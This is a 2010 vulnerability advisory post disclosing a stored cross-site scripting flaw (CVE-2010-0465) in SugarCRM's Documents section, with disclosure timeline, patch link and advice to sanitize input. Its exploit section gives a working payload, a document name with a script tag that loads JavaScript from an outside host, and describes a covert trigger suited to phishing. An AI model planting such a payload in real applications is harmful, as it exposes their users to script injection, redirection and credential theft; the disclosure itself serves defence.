Written by Jeromie Jackson Published on Wednesday, 10 March 2010 18:02
I recently found a security vulnerability in SugarCRM which affects all versions prior to 5.5.0a and 5.2.0l. The vulnerability consists of a stored cross-site scripting vulnerability within the Documents section of the application. Below is a summary:
Class: Stored Cross Site Scripting (XSS)
CVE: CVE-2010-0465
Remote: Yes
Local: Yes
Published: Jan 1, 2010 12:01AM
Timeline: Submission to Mitre: January 29, 2010
Vendor Contact: February 18, 2010
Vendor Response: February 19, 2010
Patch Available: March 10, 2010
Patch: http://www.sugarforge.org/frs/?group_id=6
Credit: Jeromie Jackson CISSP, CISM
COBIT & ITIL Certified
President- San Diego Open Web Application Security Project (OWASP)
Vice President- San Diego Information Audit & Control Association (ISACA)
SANS Mentor
Blog: www.JeromieJackson.com
Twitter: www.twitter.com/Security_Sifu
Validated Vulnerable:
All previous version of SugarCRM prior to 5.5.0a and 5.2.0l
Discussion:
A Stored Cross-Site Scripting (XSS) vulnerability was found within SugarCRM. The vulnerability is exploited through the online Documents section of the application. By crafting a name that includes XSS code it is possible to inject malicious data, redirect the user to a bogus replica of the real website, or other nefarious activity.
Exploit:
There are two ways that have I've used to exploit this vulnerability. In both instances, make a document with the following Document Name:
pwn3d<SCRIPT src="/http://www.jeromiejackson.com/sugarcrm.js"></SCRIPT>
Example #1
Within the SugarCRM User Interface (UI) go to the Documents List. Click on the one just created. This will execute the script. You will see the script right in the document list- very obvious to most users that something doesn't look right. The next example is slighly more covert.
Example #2
Within the SugarCRM UI go to the Document List. Hover over the Document Name you just created, right-click, and then copy the URL location. You will see the URL does not have any of the scripting, it has been replaced with queries directly to a Record variable within the application. This would probably be the tact a Phisher would take.
Solution:
A patch will be required from the vendor. It is recommended a routine to sanitize user input be consistently implemented throughout the application to mitigate other such occurrences within the application.
